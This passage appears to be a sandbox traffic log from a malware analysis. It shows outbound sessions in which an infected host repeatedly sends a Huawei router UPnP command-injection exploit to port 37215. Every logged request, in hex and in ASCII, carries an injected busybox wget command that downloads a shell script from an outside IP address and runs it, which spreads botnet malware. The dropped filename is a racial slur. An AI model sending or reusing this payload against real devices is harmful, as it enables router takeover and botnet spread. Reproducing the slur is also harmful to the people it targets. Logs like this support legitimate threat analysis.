xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.698101997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:02.818078995 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:05.186186075 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:09.793941975 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:18.753774881 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:37.953094959 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:14.816093922 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.15	33434	31.136.213.246	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:01.125715017 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:01.698101997 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
